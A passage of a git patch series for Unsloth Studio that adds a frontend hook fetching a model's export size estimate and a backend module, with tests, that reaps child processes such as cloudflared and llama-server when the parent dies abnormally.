               <Separator />
-              <div className="flex items-center justify-end">
-                {/* TODO: unhide once estimated size comes from the backend API */}
-                {/* <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
-                  <HugeiconsIcon
-                    icon={InformationCircleIcon}
-                    className="size-3.5"
-                  />
-                  <span>Est. size: {estimatedSize} · Free disk space: 120 GB</span>
-                </div> */}
+              <div className="flex items-center justify-between">
+                {estimatedSize ? (
+                  <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
+                    <HugeiconsIcon
+                      icon={InformationCircleIcon}
+                      className="size-3.5"
+                    />
+                    <span>Est. size: {estimatedSize}</span>
+                  </div>
+                ) : (
+                  <span />
+                )}
                 <Button
                   data-tour="export-cta"
                   disabled={!canExport}
diff --git a/studio/frontend/src/features/export/hooks/use-export-size-estimate.ts b/studio/frontend/src/features/export/hooks/use-export-size-estimate.ts
new file mode 100644
index 0000000000..dd044f0906
--- /dev/null
+++ b/studio/frontend/src/features/export/hooks/use-export-size-estimate.ts
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useEffect, useState } from "react";
+import { type ExportSizeEstimate, fetchExportSize } from "../api/export-api";
+
+export interface ExportSizeState {
+  data: ExportSizeEstimate | null;
+  loading: boolean;
+  /** Real FP16/BF16-equivalent bytes, or null when unknown. */
+  fp16Bytes: number | null;
+}
+
+const EMPTY: ExportSizeState = { data: null, loading: false, fp16Bytes: null };
+
+// Export page's "no model" sentinel (em dash U+2014); char code keeps this file ASCII.
+const EMPTY_MODEL_SENTINEL = String.fromCharCode(0x2014);
+
+function normalizeModelId(modelId: string | null | undefined): string {
+  const id = (modelId ?? "").trim();
+  return id && id !== EMPTY_MODEL_SENTINEL ? id : "";
+}
+
+/**
+ * Fetch the selected model's fp16-equivalent size so the GGUF picker can scale
+ * its per-quant estimates. Null size on any failure; refetches on token change.
+ */
+export function useExportSizeEstimate(
+  modelId: string | null | undefined,
+  hfToken?: string | null,
+): ExportSizeState {
+  const modelKey = normalizeModelId(modelId);
+  const token = hfToken?.trim() || "";
+  // Refetch when model or token changes; "|" can't appear in an id/token.
+  const key = modelKey ? `${modelKey}|${token}` : "";
+  const [state, setState] = useState<{ key: string; value: ExportSizeState }>(
+    () => ({ key: "", value: EMPTY }),
+  );
+
+  useEffect(() => {
+    if (!modelKey) {
+      setState({ key: "", value: EMPTY });
+      return;
+    }
+    const controller = new AbortController();
+    setState({ key, value: { ...EMPTY, loading: true } });
+    void fetchExportSize(modelKey, token, controller.signal)
+      .then((data) => {
+        if (controller.signal.aborted) {
+          return;
+        }
+        setState({
+          key,
+          value: { data, loading: false, fp16Bytes: data.fp16_bytes ?? null },
+        });
+      })
+      .catch(() => {
+        if (controller.signal.aborted) {
+          return;
+        }
+        setState({ key, value: EMPTY });
+      });
+    return () => controller.abort();
+  }, [key, modelKey, token]);
+
+  // Guard against a stale result rendering for a newer key.
+  return state.key === key ? state.value : EMPTY;
+}

From 8e0d082c92dc7125bb08564196370974dc6df70b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:51:22 -0700
Subject: [PATCH 67/91] Reap Studio child processes when the parent dies
 abnormally (#6425)

* Reap Studio child processes when the parent dies abnormally

Standalone `unsloth studio` launches orphaned cloudflared and llama-server when
the parent exited without running the cooperative shutdown path (terminal-window
close, Task Manager End Task, SIGKILL): the children reparented to init and kept
running, leaving an authenticated Cloudflare tunnel up for days.

Add utils/process_lifetime.py: a parent-owned Windows Job Object
(JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE, children auto-inherit) plus Linux
PR_SET_PDEATHSIG, behind a best-effort helper that mirrors the desktop app's
windows_job.rs. initialize_parent_lifetime() runs at the top of run_server;
long-lived spawns (cloudflared, llama-server, RAG embedder, llama.cpp updater)
get the PDEATHSIG preexec, multiprocessing workers are adopted into the job, and
_graceful_shutdown plus atexit gain a terminate_all() backstop sweep. The
cooperative shutdown path is otherwise unchanged.

Verified on Linux: killing the parent now reaps cloudflared and llama-server
within ~2s instead of orphaning them.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: add real Windows kill-on-job-close integration test

Spawn a parent that installs the job and a child that inherits it, terminate
the parent, and assert the child is reaped. Skipped off Windows. Also make the
liveness probe Windows-safe (os.kill(pid, 0) terminates on Windows).

* Fix Win64 handle truncation in the Job Object calls

Set explicit argtypes so the 64-bit job/process handles are not marshaled as
c_int (which truncated them on Win64, failing AssignProcessToJobObject). Assert
install success in the Windows integration test.

* Bind multiprocessing workers to parent death; harden the sweep

Review follow-ups:
- Multiprocessing workers (inference/export/training/data-recipe/Xet) cannot be
  given a preexec_fn by the parent, so adopt_pid alone left them orphanable on a
  Linux SIGKILL. They now bind themselves with PR_SET_PDEATHSIG at startup via
  bind_current_process_to_parent_lifetime(), wired into the shared
  run_without_native_path_secret entrypoint and the Xet child entry.
- Wire the previously-missed data-recipe worker through adopt_pid.
- terminate_all now honors its timeout: SIGTERM, wait, then SIGKILL the
  survivors, so cooperative children can exit cleanly.
- Track adopted pids with a /proc starttime identity and add forget_pid, so the
  shutdown sweep never signals a recycled pid.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Michael Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/cloudflare_tunnel.py           |  11 +
 .../backend/core/data_recipe/jobs/manager.py  |   3 +
 studio/backend/core/export/orchestrator.py    |   3 +
 studio/backend/core/inference/llama_cpp.py    |  23 +-
 studio/backend/core/inference/orchestrator.py |   3 +
 studio/backend/core/rag/embed_llama_server.py |   2 +
 studio/backend/core/training/training.py      |   6 +
 studio/backend/run.py                         |  16 +
 studio/backend/tests/test_process_lifetime.py | 319 ++++++++++++++++++
 studio/backend/utils/hf_xet_fallback.py       |  10 +
 studio/backend/utils/llama_cpp_update.py      |   2 +
 studio/backend/utils/native_path_leases.py    |   9 +
 studio/backend/utils/process_lifetime.py      | 293 ++++++++++++++++
 13 files changed, 684 insertions(+), 16 deletions(-)
 create mode 100644 studio/backend/tests/test_process_lifetime.py
 create mode 100644 studio/backend/utils/process_lifetime.py

diff --git a/studio/backend/cloudflare_tunnel.py b/studio/backend/cloudflare_tunnel.py
index e5dba69452..ef7bacba67 100644
--- a/studio/backend/cloudflare_tunnel.py
+++ b/studio/backend/cloudflare_tunnel.py
@@ -49,6 +49,16 @@ def _windows_hidden_kwargs() -> dict:
     return {"creationflags": flags} if flags else {}
 
 
+def _lifetime_kwargs() -> dict:
+    """Bind cloudflared to the parent's lifetime (Linux PDEATHSIG). Lazy +
+    best-effort so this module still loads standalone (storage_roots-style)."""
+    try:
+        from utils.process_lifetime import child_popen_kwargs
+        return child_popen_kwargs()
+    except Exception:
+        return {}
+
+
 def _asset_name() -> Optional[Tuple[str, bool]]:
     """(release asset filename, is_tgz) for this OS/arch, or None if unsupported."""
     system = platform.system().lower()
@@ -233,6 +243,7 @@ class CloudflareTunnel:
                 errors = "replace",
                 bufsize = 1,
                 **_windows_hidden_kwargs(),
+                **_lifetime_kwargs(),
             )
             self._proc = proc
         threading.Thread(
diff --git a/studio/backend/core/data_recipe/jobs/manager.py b/studio/backend/core/data_recipe/jobs/manager.py
index 32523e469e..c238c250bd 100644
--- a/studio/backend/core/data_recipe/jobs/manager.py
+++ b/studio/backend/core/data_recipe/jobs/manager.py
@@ -176,6 +176,9 @@ class JobManager:
                     daemon = True,
                 )
                 proc.start()
+                from utils.process_lifetime import adopt_pid
+
+                adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
 
             self._mp_q = mp_q
             self._proc = proc
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index d78866a494..a9694bb8e9 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -147,6 +147,9 @@ class ExportOrchestrator:
                 daemon = True,
             )
             self._proc.start()
+        from utils.process_lifetime import adopt_pid
+
+        adopt_pid(self._proc.pid)  # bind to parent lifetime (Windows job / sweep)
         logger.info("Export subprocess started (pid=%s)", self._proc.pid)
 
     def _shutdown_subprocess(self, timeout: float = 10.0) -> None:
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index e7030b77ce..db0ce71f61 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -56,6 +56,7 @@ from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
+from utils.process_lifetime import child_popen_kwargs as _child_popen_kwargs
 from core.inference.tool_call_parser import (
     RAG_MAX_SEARCHES_PER_TURN,
     RAG_SEARCH_CAP_NUDGE,
@@ -3342,28 +3343,16 @@ class LlamaCppBackend:
         except OSError as e:
             logger.debug(f"Could not open diffusion runner log file: {e}")
 
-        # PR_SET_PDEATHSIG: the shim (and its visual server) die with this backend
-        # process, so a Studio crash/restart never orphans a GPU process.
-        popen_kwargs = dict(_windows_hidden_subprocess_kwargs())
-        if sys.platform.startswith("linux"):  # prctl/libc.so.6 are Linux-only
-
-            def _pdeathsig():
-                try:
-                    import ctypes
-                    import signal as _signal
-                    ctypes.CDLL("libc.so.6", use_errno = True).prctl(1, _signal.SIGTERM)
-                except Exception:
-                    pass
-
-            popen_kwargs["preexec_fn"] = _pdeathsig
-
+        # The shim (and its visual server) die with this backend process, so a
+        # Studio crash/restart never orphans a GPU process.
         self._process = subprocess.Popen(
             cmd,
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
             text = True,
             env = env,
-            **popen_kwargs,
+            **_windows_hidden_subprocess_kwargs(),
+            **_child_popen_kwargs(),
         )
         self._stdout_thread = threading.Thread(
             target = self._drain_stdout, daemon = True, name = "diffusion-stdout"
@@ -4126,6 +4115,7 @@ class LlamaCppBackend:
             text = True,
             env = env,
             **_windows_hidden_subprocess_kwargs(),
+            **_child_popen_kwargs(),
         )
 
         # Start background thread to drain stdout and prevent pipe deadlock
@@ -5458,6 +5448,7 @@ class LlamaCppBackend:
                             text = True,
                             env = env,
                             **_windows_hidden_subprocess_kwargs(),
+                            **_child_popen_kwargs(),
                         )
 
                         # Background thread to drain stdout (prevents pipe deadlock)
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index b81f217539..a0fe8623a3 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -177,6 +177,9 @@ class InferenceOrchestrator:
                 daemon = True,
             )
             self._proc.start()
+        from utils.process_lifetime import adopt_pid
+
+        adopt_pid(self._proc.pid)  # bind to parent lifetime (Windows job / sweep)
         logger.info("Inference subprocess started (pid=%s)", self._proc.pid)
 
     def _cancel_generation(self) -> None:
diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py
index 2fadbcc6c6..c2e4ecc740 100644
--- a/studio/backend/core/rag/embed_llama_server.py
+++ b/studio/backend/core/rag/embed_llama_server.py
@@ -30,6 +30,7 @@ import numpy as np
 
 from utils.native_path_leases import child_env_without_native_path_secret
 from utils.subprocess_compat import windows_hidden_subprocess_kwargs
+from utils.process_lifetime import child_popen_kwargs
 
 from . import config
 
@@ -267,6 +268,7 @@ class LlamaServerBackend:
             text = True,
             env = env,
             **windows_hidden_subprocess_kwargs(),
+            **child_popen_kwargs(),
         )
         self._process = proc
         self._port = port
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index d8126363fe..73744466b6 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -367,6 +367,9 @@ class TrainingBackend:
                     daemon = True,
                 )
                 proc.start()
+                from utils.process_lifetime import adopt_pid
+
+                adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
         except Exception:
             logger.error("Failed to start training subprocess", exc_info = True)
             return False
@@ -529,6 +532,9 @@ class TrainingBackend:
                     daemon = True,
                 )
                 new_proc.start()
+                from utils.process_lifetime import adopt_pid
+
+                adopt_pid(new_proc.pid)  # bind to parent lifetime (Windows job / sweep)
         except Exception:
             logger.error("Failed to respawn training subprocess", exc_info = True)
             with self._lock:
diff --git a/studio/backend/run.py b/studio/backend/run.py
index a9d1f1db26..469365f588 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -642,6 +642,13 @@ def _graceful_shutdown(server = None):
     except Exception as e:
         logger.warning("Error stopping Cloudflare tunnel: %s", e)
 
+    # 7. Backstop sweep for any adopted child the steps above missed.
+    try:
+        from utils.process_lifetime import terminate_all
+        terminate_all()
+    except Exception as e:
+        logger.warning("Error in process-lifetime sweep: %s", e)
+
     logger.info("All subprocesses cleaned up")
 
 
@@ -876,6 +883,12 @@ def run_server(
     """
     global _server, _shutdown_event
 
+    # Reap every child if the parent dies abnormally (terminal close, Task
+    # Manager kill, SIGKILL); must run before any child can spawn.
+    from utils.process_lifetime import initialize_parent_lifetime
+
+    initialize_parent_lifetime()
+
     # --secure exposes only the Cloudflare link: force a loopback bind so the raw
     # port is never public (even with -H 0.0.0.0), and reject the contradictory combo.
     if secure and not cloudflare:
@@ -1083,6 +1096,9 @@ def run_server(
     import atexit
 
     atexit.register(_remove_pid_file)
+    from utils.process_lifetime import terminate_all
+
+    atexit.register(terminate_all)
 
     # Output port for Tauri (api-only), only after sockets bind and startup done.
     if api_only:
diff --git a/studio/backend/tests/test_process_lifetime.py b/studio/backend/tests/test_process_lifetime.py
new file mode 100644
index 0000000000..c36cd75405
--- /dev/null
+++ b/studio/backend/tests/test_process_lifetime.py
@@ -0,0 +1,319 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the parent-lifetime reaper (utils/process_lifetime).
+
+The Linux PDEATHSIG cases spawn real processes and assert actual liveness; the
+Windows Job Object path is exercised with a mocked kernel32 so it runs on CI.
+"""
+
+from __future__ import annotations
+
+import os
+import signal
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import utils.process_lifetime as pl  # noqa: E402
+
+IS_POSIX = os.name == "posix"
+IS_LINUX = sys.platform.startswith("linux")
+
+
+@pytest.fixture(autouse = True)
+def _reset_module_state():
+    pl._tracked_pids.clear()
+    pl._win_job_handle = None
+    pl._initialized = False
+    yield
+    pl._tracked_pids.clear()
+    pl._win_job_handle = None
+    pl._initialized = False
+
+
+def _alive(pid: int) -> bool:
+    if sys.platform == "win32":
+        return _win_alive(pid)
+    try:
+        os.kill(pid, 0)  # POSIX existence probe (on Windows this would terminate it)
+        return True
+    except OSError:
+        return False
+
+
+def _win_alive(pid: int) -> bool:
+    import ctypes
+
+    PROCESS_QUERY_LIMITED_INFORMATION, STILL_ACTIVE = 0x1000, 259
+    kernel32 = ctypes.windll.kernel32
+    handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
+    if not handle:
+        return False
+    code = ctypes.c_ulong()
+    kernel32.GetExitCodeProcess(handle, ctypes.byref(code))
+    kernel32.CloseHandle(handle)
+    return code.value == STILL_ACTIVE
+
+
+def _wait_dead(pid: int, timeout: float) -> bool:
+    end = time.time() + timeout
+    while time.time() < end:
+        if not _alive(pid):
+            return True
+        time.sleep(0.05)
+    return not _alive(pid)
+
+
+# ── No-op safety / composition ──
+
+
+def test_initialize_idempotent_and_noop_on_posix():
+    pl.initialize_parent_lifetime()
+    pl.initialize_parent_lifetime()  # second call short-circuits
+    if IS_POSIX:
+        assert pl._win_job_handle is None  # POSIX installs no job
+
+
+def test_adopt_pid_tolerates_none_and_dead_pid():
+    pl.adopt_pid(None)  # ignored
+    pl.adopt_pid(2**31 - 1)  # almost-certainly-dead pid: recorded, never raises
+    assert None not in pl._tracked_pids
+
+
+def test_child_popen_kwargs_linux_vs_other(monkeypatch):
+    monkeypatch.setattr(pl, "_is_linux", lambda: True)
+    assert "preexec_fn" in pl.child_popen_kwargs()
+    monkeypatch.setattr(pl, "_is_linux", lambda: False)
+    assert pl.child_popen_kwargs() == {}  # Windows/macOS add nothing here
+
+
+def test_compose_preexec_runs_pdeathsig_then_existing(monkeypatch):
+    calls = []
+    monkeypatch.setattr(pl, "_is_linux", lambda: True)
+    monkeypatch.setattr(pl, "_pdeathsig_preexec", lambda: calls.append("death"))
+    pl.compose_preexec(lambda: calls.append("existing"))()
+    assert calls == ["death", "existing"]  # ordering matters for sandbox hooks
+
+
+def test_compose_preexec_passthrough_off_linux(monkeypatch):
+    monkeypatch.setattr(pl, "_is_linux", lambda: False)
+    sentinel = lambda: None  # noqa: E731
+    assert pl.compose_preexec(sentinel) is sentinel
+    assert pl.compose_preexec(None) is None
+
+
+# ── Real Linux PDEATHSIG: child dies when the parent dies abnormally ──
+
+
+@pytest.mark.skipif(not IS_LINUX, reason = "PR_SET_PDEATHSIG is Linux-only")
+def test_pdeathsig_child_dies_when_parent_sigkilled(tmp_path):
+    mid = tmp_path / "mid.py"
+    mid.write_text(
+        "import sys, subprocess, time\n"
+        f"sys.path.insert(0, {str(_BACKEND)!r})\n"
+        "from utils.process_lifetime import child_popen_kwargs\n"
+        "p = subprocess.Popen(['sleep', '300'], **child_popen_kwargs())\n"
+        "print(p.pid, flush = True)\n"
+        "time.sleep(300)\n"
+    )
+    proc = subprocess.Popen([sys.executable, str(mid)], stdout = subprocess.PIPE, text = True)
+    try:
+        sleeper_pid = int(proc.stdout.readline().strip())
+        assert _alive(sleeper_pid)
+        proc.kill()  # hard-kill the parent (no graceful shutdown runs)
+        proc.wait(timeout = 5)
+        assert _wait_dead(sleeper_pid, 5.0), "child orphaned after parent SIGKILL"
+    finally:
+        proc.kill()
+
+
+@pytest.mark.skipif(sys.platform != "win32", reason = "Windows Job Object")
+def test_windows_job_kills_child_when_parent_dies(tmp_path):
+    # Real kill-on-job-close: the parent installs the job and assigns itself, a
+    # child inherits it automatically, and terminating the parent must reap the
+    # child (the orphaned-cloudflared.exe scenario).
+    mid = tmp_path / "mid.py"
+    mid.write_text(
+        "import sys, subprocess, time\n"
+        f"sys.path.insert(0, {str(_BACKEND)!r})\n"
+        "import utils.process_lifetime as pl\n"
+        "pl.initialize_parent_lifetime()\n"
+        "p = subprocess.Popen([sys.executable, '-c', 'import time; time.sleep(300)'])\n"
+        "print(p.pid, int(pl._win_job_handle is not None), flush = True)\n"
+        "time.sleep(300)\n"
+    )
+    proc = subprocess.Popen([sys.executable, str(mid)], stdout = subprocess.PIPE, text = True)
+    try:
+        first = proc.stdout.readline().split()
+        child_pid, installed = int(first[0]), first[1] == "1"
+        assert installed, "Windows Job Object was not installed"
+        assert _alive(child_pid)
+        proc.kill()  # TerminateProcess the parent -> last job handle closes
+        proc.wait(timeout = 5)
+        assert _wait_dead(child_pid, 5.0), "child orphaned after parent killed"
+    finally:
+        proc.kill()
+
+
+# ── terminate_all backstop sweep ──
+
+
+@pytest.mark.skipif(not IS_POSIX, reason = "POSIX process sweep")
+def test_terminate_all_signals_tracked_and_is_idempotent():
+    p = subprocess.Popen(["sleep", "300"])
+    pl.adopt_pid(p.pid)
+    pl.terminate_all()
+    assert p.wait(timeout = 5) is not None  # reap + confirm it died
+    pl.terminate_all()  # registry now empty; must not raise
+
+
+@pytest.mark.skipif(not IS_POSIX, reason = "POSIX process sweep")
+def test_terminate_all_escalates_to_sigkill():
+    # A child that ignores SIGTERM must still be reaped via SIGKILL after timeout.
+    p = subprocess.Popen(
+        [
+            sys.executable,
+            "-c",
+            "import signal, time; signal.signal(signal.SIGTERM, signal.SIG_IGN); time.sleep(300)",
+        ]
+    )
+    time.sleep(0.5)  # let the handler install
+    pl.adopt_pid(p.pid)
+    pl.terminate_all(timeout = 0.3)
+    assert p.wait(timeout = 5) == -signal.SIGKILL  # SIGTERM ignored, SIGKILL wins
+
+
+@pytest.mark.skipif(not IS_POSIX, reason = "POSIX process sweep")
+def test_terminate_all_lets_cooperative_child_exit_cleanly(tmp_path):
+    # A child that handles SIGTERM gets `timeout` to exit cleanly (not -SIGKILL).
+    marker = tmp_path / "clean.txt"
+    p = subprocess.Popen(
+        [
+            sys.executable,
+            "-c",
+            "import signal, sys, time\n"
+            f"def h(*a): open({str(marker)!r}, 'w').write('clean'); sys.exit(0)\n"
+            "signal.signal(signal.SIGTERM, h)\n"
+            "time.sleep(300)\n",
+        ]
+    )
+    time.sleep(0.5)
+    pl.adopt_pid(p.pid)
+    pl.terminate_all(timeout = 3.0)
+    assert p.wait(timeout = 3) == 0  # exited via its own handler, not SIGKILL
+    assert marker.read_text() == "clean"
+
+
+def test_forget_pid_unregisters():
+    pl.adopt_pid(4242)
+    assert 4242 in pl._tracked_pids
+    pl.forget_pid(4242)
+    assert 4242 not in pl._tracked_pids
+
+
+@pytest.mark.skipif(not IS_POSIX, reason = "POSIX process sweep")
+def test_terminate_all_skips_recycled_pid(monkeypatch):
+    # A tracked pid whose identity changed (recycled) must not be signalled.
+    p = subprocess.Popen(["sleep", "300"])
+    pl.adopt_pid(p.pid)  # records the real identity
+    monkeypatch.setattr(pl, "_pid_identity", lambda _pid: "DIFFERENT")
+    pl.terminate_all()
+    assert _alive(p.pid)  # left untouched: identity mismatch
+    p.kill()
+    p.wait(timeout = 5)
+
+
+@pytest.mark.skipif(not IS_LINUX, reason = "PR_SET_PDEATHSIG is Linux-only")
+def test_bind_kills_multiprocessing_child_on_parent_death(tmp_path):
+    # multiprocessing workers can't take a preexec_fn, so the child binds itself
+    # via bind_current_process_to_parent_lifetime(). Killing the parent must reap
+    # it (the gap reviewers found in adopt_pid alone).
+    mid = tmp_path / "mid_mp.py"
+    mid.write_text(
+        "import sys, time, multiprocessing as mp\n"
+        f"sys.path.insert(0, {str(_BACKEND)!r})\n"
+        "from utils.process_lifetime import bind_current_process_to_parent_lifetime\n"
+        "def _child():\n"
+        "    bind_current_process_to_parent_lifetime()\n"
+        "    time.sleep(300)\n"
+        "if __name__ == '__main__':\n"
+        "    p = mp.get_context('spawn').Process(target = _child, daemon = True)\n"
+        "    p.start()\n"
+        "    print(p.pid, flush = True)\n"
+        "    time.sleep(300)\n"
+    )
+    proc = subprocess.Popen([sys.executable, str(mid)], stdout = subprocess.PIPE, text = True)
+    try:
+        child_pid = int(proc.stdout.readline().strip())
+        assert _alive(child_pid)
+        proc.kill()
+        proc.wait(timeout = 5)
+        assert _wait_dead(child_pid, 5.0), "mp child orphaned after parent SIGKILL"
+    finally:
+        proc.kill()
+
+
+# ── Windows Job Object path (mocked kernel32, runs on Linux CI) ──
+
+
+class _Call:
+    def __init__(self, name, log, ret):
+        self.name, self.log, self.ret = name, log, ret
+        self.restype = self.argtypes = None
+
+    def __call__(self, *a, **k):
+        self.log.append(self.name)
+        return self.ret
+
+
+class _FakeKernel32:
+    def __init__(
+        self,
+        log,
+        create_ret = 4321,
+        set_ret = 1,
+        assign_ret = 1,
+    ):
+        self.CreateJobObjectW = _Call("create", log, create_ret)
+        self.SetInformationJobObject = _Call("set", log, set_ret)
+        self.AssignProcessToJobObject = _Call("assign", log, assign_ret)
+        self.GetCurrentProcess = _Call("getcur", log, -1)
+        self.CloseHandle = _Call("close", log, 1)
+
+
+def _patch_windows(monkeypatch, fake):
+    import ctypes
+    monkeypatch.setattr(pl, "_is_windows", lambda: True)
+    monkeypatch.setattr(ctypes, "WinDLL", lambda *a, **k: fake, raising = False)
+
+
+def test_windows_job_install_order(monkeypatch):
+    log: list[str] = []
+    _patch_windows(monkeypatch, _FakeKernel32(log))
+    pl._install_windows_job()
+    assert log.index("create") < log.index("set") < log.index("assign")
+    assert pl._win_job_handle == 4321  # handle retained
+
+
+def test_windows_job_install_degrades_on_create_failure(monkeypatch):
+    log: list[str] = []
+    _patch_windows(monkeypatch, _FakeKernel32(log, create_ret = 0))
+    pl._install_windows_job()  # must not raise
+    assert pl._win_job_handle is None
+    assert "set" not in log  # short-circuited after the failed create
+
+
+def test_windows_job_install_degrades_on_assign_failure(monkeypatch):
+    log: list[str] = []
+    _patch_windows(monkeypatch, _FakeKernel32(log, assign_ret = 0))
+    pl._install_windows_job()
+    assert pl._win_job_handle is None  # not retained when assignment fails
+    assert "close" in log  # the orphaned job handle is closed
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index 80f42f92d1..a6ba69fffc 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -168,6 +168,13 @@ def _download_child_entry(
     forms its own process group so the parent can kill the whole transfer, and
     never logs the token or signed URLs.
     """
+    # Die with Studio on Linux (this mp child gets no parent-set preexec_fn).
+    try:
+        from utils.process_lifetime import bind_current_process_to_parent_lifetime
+        bind_current_process_to_parent_lifetime()
+    except Exception:
+        pass
+
     if hasattr(os, "setsid"):
         try:
             os.setsid()
@@ -277,6 +284,9 @@ def _run_download_attempt(
         daemon = True,
     )
     proc.start()
+    from utils.process_lifetime import adopt_pid
+
+    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
 
     stalled = threading.Event()
     stop_watchdog = start_watchdog(
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index 22ffc58b24..965f1a970a 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -43,6 +43,7 @@ from utils.llama_cpp_freshness import (
     reset_caches,
     update_download_size_bytes,
 )
+from utils.process_lifetime import child_popen_kwargs
 
 logger = structlog.get_logger(__name__)
 
@@ -459,6 +460,7 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
             stderr = subprocess.STDOUT,
             text = True,
             env = env,
+            **child_popen_kwargs(),
         )
         timed_out = threading.Event()
 
diff --git a/studio/backend/utils/native_path_leases.py b/studio/backend/utils/native_path_leases.py
index 7d8514abc8..08671cfe39 100644
--- a/studio/backend/utils/native_path_leases.py
+++ b/studio/backend/utils/native_path_leases.py
@@ -83,6 +83,15 @@ def child_env_without_native_path_secret(env: Mapping[str, str] | None = None) -
 def run_without_native_path_secret(target: Callable[..., Any], *args: Any, **kwargs: Any) -> Any:
     """Run a multiprocessing child target without the native path lease secret."""
 
+    # Runs in the spawned child: bind it to the parent's death (Linux), since
+    # multiprocessing children cannot be given a preexec_fn by the parent. Shared
+    # entrypoint for the inference/export/training/data-recipe workers.
+    try:
+        from utils.process_lifetime import bind_current_process_to_parent_lifetime
+        bind_current_process_to_parent_lifetime()
+    except Exception:
+        pass
+
     global _CACHED_LEASE_SECRET, _SCRUB_SAVED_SECRET
     os.environ.pop(LEASE_SECRET_ENV, None)
     _CACHED_LEASE_SECRET = None
diff --git a/studio/backend/utils/process_lifetime.py b/studio/backend/utils/process_lifetime.py
new file mode 100644
index 0000000000..3ffd54cc26
--- /dev/null
+++ b/studio/backend/utils/process_lifetime.py
@@ -0,0 +1,293 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Bind Studio child processes to the parent's lifetime so none survive an
+abnormal parent exit (terminal-window close, Task Manager "End Task", SIGKILL,
+crash) -- the cooperative shutdown path only runs on graceful exits.
+
+Windows: one parent-owned Job Object with JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE.
+The parent is assigned to it, children inherit it automatically, and the OS
+reaps every process in the job when the parent's last handle closes. Mirrors the
+desktop app's job in studio/src-tauri/src/windows_job.rs.
+
+POSIX: each long-lived child sets prctl(PR_SET_PDEATHSIG) on Linux via a tiny
+preexec hook (macOS has no equivalent and relies on the cooperative path +
+terminate_all). Linux's signal is per-direct-child only, so multiprocessing
+workers are also tracked for terminate_all.
+
+Best-effort throughout: any failure degrades to today's behavior, never raises.
+Stdlib only.
+"""
+
+from __future__ import annotations
+
+import os
+import signal
+import sys
+import threading
+from typing import Callable, Optional
+
+_PR_SET_PDEATHSIG = 1
+_JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE = 0x2000
+_JobObjectExtendedLimitInformation = 9
+
+_lock = threading.Lock()
+_initialized = False
+_win_job_handle: Optional[int] = None  # retained for the interpreter's lifetime
+_tracked_pids: "dict[int, Optional[str]]" = {}  # pid -> identity, reaped by terminate_all
+
+
+def _is_linux() -> bool:
+    return sys.platform.startswith("linux")
+
+
+def _is_windows() -> bool:
+    return sys.platform == "win32"
+
+
+# ── Parent setup ──
+
+
+def initialize_parent_lifetime() -> None:
+    """Install the parent-death reaper once, as early as possible at startup.
+
+    Windows builds and holds the Job Object; POSIX has nothing to install (the
+    guarantee is per-child via preexec). Idempotent and never raises.
+    """
+    global _initialized
+    with _lock:
+        if _initialized:
+            return
+        _initialized = True
+        if _is_windows():
+            _install_windows_job()
+
+
+def _win_signatures(kernel32) -> None:
+    # Explicit HANDLE-width signatures. Without argtypes, ctypes marshals the
+    # 64-bit job/process handles as c_int and truncates them on Win64, so the
+    # job calls silently operate on a bogus handle and assignment fails.
+    import ctypes
+    from ctypes import wintypes
+
+    H, BOOL, DWORD = wintypes.HANDLE, wintypes.BOOL, wintypes.DWORD
+    kernel32.CreateJobObjectW.argtypes = [ctypes.c_void_p, ctypes.c_wchar_p]
+    kernel32.CreateJobObjectW.restype = H
